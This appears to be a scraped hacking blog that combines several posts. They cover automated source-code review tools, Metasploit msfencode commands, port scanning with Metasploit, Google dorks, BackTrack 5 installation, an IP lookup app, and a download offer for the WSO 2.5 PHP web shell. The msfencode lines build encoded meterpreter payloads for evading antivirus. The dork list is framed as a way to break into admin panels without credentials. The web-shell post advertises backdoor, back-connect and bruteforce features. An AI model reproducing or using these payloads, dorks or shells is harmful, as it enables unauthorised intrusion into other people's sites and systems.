Automated Source Code Review


Automated Source Code




Manual source code review is task that requires a lot of time and good understanding of the application source code that is being reviewed.So the use of automated tools is often necessary in order to help the penetration tester to identify fast and more easily vulnerabilities on the code.However you cannot fully rely on the automated tools and you have to validate the results by checking the code as the majority of them produces a large number of false positives and in some cases they might even not found a vulnerability on the code that exists.So the penetration tester still needs to manual review the source code in order to do the job properly but tools exist and are here to help.In this article we will see some of the tools that we can use for performing automated source code review on applications.
Yet Another Source Code Analyzer (YASCA)
YASCA is a tool that can analyze php,java,C/C++ and javascript code for security vulnerabilities and code quality issues.One of the main advantages of this tool is that it can integrate other tools and plugins in order to scan many programming languages.YASCA runs through the command line and can generate the reports in HTML,XML and CSV formats.
Author: Michael Scovetta
Languages: Multi
Platforms: Windows and Linux
Pixy
Pixy is a tool that runs in Java and can scan PHP4 code in order to identify XSS and SQL injection vulnerabilities.Pixy is considered one of the best tools for discovering SQL injection vulnerabilities in PHP code however it supports only PHP4 code.
Author: Nenad Jovanovic
Languages: PHP4
Platforms: Windows and Linux
AppCodeScan
AppCodeScan users regular expression string matching to identify dangerous functions and strings in the code.The vulnerabilities that this tool can discover includes XSS,SQL injections,poor validation and many more.The AppCodeScan is a GUI based tool and runs on the .NET framework.
Languages: Multi
Platform: Windows
LAPSE
Lapse is a security scanner for Java 2EE applications that can discover common vulnerabilities.The vulnerabilities that can discover includes Cookie Poisoning,SQL Injection,XSS,XML Injection etc.LAPSE is a project of OWASP.
Author: Benjamin Livshits
Languages: Java J2EE
Platforms:Windows,Linux and OSX
IDE: Eclipse
SWAAT
SWAAT scans the source code and tries to discover common vulnerabilities by using XML based signature files.SWAAT is a command line tool.
Languages: PHP,JSP and ASP.NET
Platforms: Windows,Linux,OSX
Microsoft Source Code Analyzer for SQL Injection
Microsoft source code analyzer is a tool that it can be used when reviewing .asp code for the discovery of SQL injection vulnerabilities.This tool have not been designed for ASP.NET code and it only scans ASP code.
Languages: ASP
Platforms: Windows
Microsoft Code Analysis Tool (CAT.NET)
CAT.NET is a binary code analysis tool that can identify vulnerabilities like XSS,Xpath injection and SQL injection in applications that have been written in C#,Visual Basic.NET and J#.CAT.NET discover these vulnerabilities by checking the binary of the application and traces the data flow among its statements and methods.
Languages: C#,Visual Basic.NET and J#
Platform: Windows
IDE:Visual Studio

Conclusion
Automated tools can never replace the human factor in penetration testing.The reason that automated tools exists is for helping the penetration tester to perform his task effectively and on the time-frame that he has.Even with the use of that automated tools the penetration tester stills needs to look at the code and to see if the vulnerability exists or it’s a false positive.However the use of such tools can make the source code review of an application more easier task.
Read more

MSFencode Commands


Metasploit encode Commands

msfencode -h
Display the help file of msfencode

msfencode -l
Lists the available encoders

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
Format to display the encoded buffer

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
Uses the shikata_ga_nai encoder to encode the payload.raw 5 times and exports it to a file called encoded_payload.exe

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
Creation of a multi-encoded payload

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
Create pure alphanumeric shellcode where ESI points to the shellcode;output in C-style notation
Read more

Port Scanning using Metasploit



Port Scanning with Metasploit

Metasploit Framework includes some port scanners that could be used in a situation that we have compromise a system which is behind a NAT Firewall and we want to do a port scan to the rest of the network or we are just performing an internal penetration test.
In this scenario we will see how we can perform a simple TCP and SYN port scan by using the modules of the Metasploit.

SYN Scanning
First we open the Metasploit Framework and we type search portscan to find the existing scanners.

Choosing the Port Scanner
The port scanner that we will use is the syn scanner and we can see the configuration settings in the image below:

Configuration of SYN Scanner
Before we type the run command that it will start the port scanning in the remote host we can use the show options command in order to see the available options and to check if all the settings are correct.

SYN Scanner Options
From the image above we can see that the default setting for the ports that the scanner will scan is from 1-10000.We can change this setting if want the scanner just to check for specific ports or we can give the range that we want.
For this example we have chosen to scan the ports from 1 to 600.

Port Range Setting
Now we can type the run command and we can see the results in the image below:

Scanning the target with SYN scan
We can see that some common ports are open on the remote host like port 80,139 and 445.This is giving us also an indication for the operating system of the target.It is definitely Windows because ports 139 and 445 belongs to the netbios service in Windows environments.
TCP Scanning
Metasploit Framework has also and a TCP Scanner.We  have used this scanner as well into the same remote host.
We can see that we have slightly different options from the SYN scanner.For example we can set a filter string for capturing traffic or we can process a packet capture file.

Available options of TCP Scanner
For the TCP scan we have set the following parameters:

TCP Scanner Settings
The screenshot below is showing us the output of the scan:

TCP Scan Results
Conclusions
From these two scans we have noticed that the TCP scan is much faster however it is not as stealth as a SYN scan and it could be identified by the IDS (Intrusion Detection System). From the  other hand a SYN scan is slower but less intrusive because it sends the RST packet to the remote host before the connection is established.
Read more

GOOGLE DORKS TO FIND UNSECURE WEB ADMIN PANELS


GOOGLE DORKS FOR UNSECURE WEB ADMIN PANELS


These are some of the
 
Google Dorks which can be used to find unsecured website admin panels and break into them without using login creditials,




"inurl:admin/addproduct.asp"
"inurl:admin/user.asp"
"inurl:admin/addpage.php"
"inurl:admin/gallery.asp"
"inurl:admin/image.asp"
"inurl:admin/adminuser.asp"
"inurl:admin/productadd.asp"
"inurl:admin/addadmin.asp"
"inurl:admin/add_admin.asp"
"inurl:admin/add_admin.php"
"inurl:admin/addnews.asp"
"inurl:admin/addpost"
"inurl"inurl:admin/addforum.???"
"inurl:admin/addgame.???"
"inurl:admin/addblog.????"
"inurl:admin/admin_detail.php"
"inurl:admin/admin_area.php"
"inurl:admin/product_add.php"
"inurl:admin/additem.php"
"inurl:admin/addstore.php"
"inurl:admin/add_Products.???"
"inurl:admin/showbook.???"
"inurl:admin/selectitem.???"
"allinurl:admin/addfile.???"
"inurl:admin/addarticle.asp"
"inurl:admin/addfile.asp"
"inurl:admin/upload.php"
"inurl:admin/upload.asp"
"inurl:admin/addstory.php"
"inurl:admin/addshow.php"
"inurl:admin/addmember.asp"
"inurl:admin/addinfo.asp"
"inurl:admin/addcat.asp"
"inurl:admin/cp.asp"
"inurl:admin/productshow.asp"
"inurl:admin/addjob.asp"
"inurl:admin/addjob.???"
"inurl:admin/addpic.???"
"inurl:admin/viewproduct.???"
"inurl:admin/addaccount.php"
"inurl:admin/manage.php"
"inurl:admin/addcontact.???"
"inurl:admin/viewmanager.???"
"inurl:admin/addschool.???"
"inurl:admin/addproject.???"
"inurl:admin/addsale.???"
"inurl:admin/addcompany.???"
"inurl:admin/payment.???"
"inurl:user/emp.???"
"inurl:admin/addmovie.???"
"inurl:admin/addpassword.???"
"inurl:admin/addemployee.???"
"inurl:admin/addcat.???"
"inurl:admin/admin.???"
"inurl:admin/admincp.???"
"inurl:admin/settings.???"
"inurl:admin/addstate.???"
"inurl:admin/addcountry.???"
"inurl:admin/addmedia.???"
"inurl:admin/addcode.???"
"inurl:admin/addlinks.???"
"inurl:admin/addcity.???"
Read more

BackTrack 5 Installation tutorial

Install BackTrack 5 on Harddisk


NOTE: It is recommended that you have a minimum of 20 GB free disk space to install Backtrack!

  • Boot the Backtrack Live Environment.
  • At the bash prompt, type startx to enter the GUI.
  • Double click the Install Backtrack.sh on the desktop
  • Let's run through the installer step by step:

  • We select our language, in this case English and then click the Forward button.

R3 hdd install01.PNG

  • Here we select out geographical location (The Region and Time Zone) and click Forward.

R3 hdd install02.PNG

  • Chose your keyboard layout. We are going to leave it the default which is USA and click Forward.

R3 hdd install03.PNG

  • Now it’s time to partition the Disk, for a full Disk installation we choose the “Erase and use the entire disk” option and click Forward.

R3 hdd install04.PNG

WARNING: Sometimes the installer will get stuck at difference percentages, leave it for a while as it will move on.
  • Hit the Restart Now button, and enjoy Backtrack!

R3 hdd install05.PNG

  • After the reboot, you can log in with the default username root
  •  and password toor. 
  • Do not forget to change this default root password by issuing the passwd command.
  • As you can see the splash screen disappeared after the reboot. In order to fix it just run fix-splash, and the splash screen will appear on the next boot.
Read more

IP TOOLS for WINDOWS


IP TOOLS - WINDOWS APPLICATION


IP Tools is a windows application. It has 2 features in it.
1) URL to primary IP.
2) DNS Resolver.

Here is an example of a URL to IP address:


All you need to do is input the URL and click "Get IP Address" button

The second feature, which everyone is excited about is the DNS Resolver.
Here is an example of the DNS Resolver:
Click the top arrow and the app gives all the IP Addresses for that domain name. Click the bottom arrow and it gives the host name.

Requirements:
1) .NET Framework 2.0 or higher.
2) Windows XP/Vista/7/8




Download here

Read more

WSO2.5 Web Shellcode


WSO New Version 2.5 Web Shell 



This utility provides a web interface for remote operation c operating system and its services / daemons.



Opportunity Description / Features

Authorization for the cookies
Server Information
File manager (copy, rename, move, delete, chmod, touch, create files and folders)
View, hexview, editing, downloading, uploading files
Working with zip archives (packing, unpacking) + compression tar.gz
Console
SQL Manager (MySql, PostgreSql)
Execute PHP code
Working with Strings + hash search online databases
Bindport and back-Connect (Perl)
Bruteforce FTP, MySQL, PgSQL
Search files, search text in files
Support for * nix-like and Windows systems
Antipoiskovik (check User-Agent, if a search engine then returns 404 error)
You can use AJAX
Small size. Packaged version is 22.8 Kb
The choice of encoding, which employs a shell. 




Changelog (v2.5)

Instead, the sessions are now used cookies
Fixed search for exploit-db.com
Removed Section Safe-mode
Shell works correctly when disabled_functions = scandir
Now you can search not only text files, but just files on a mask
Redesigned mysql dump
Changed the service list in the "Search for hash"
Removed images from phpinfo ()
"Small cosmetics
Correction of other minor bugs




 Download here
Read more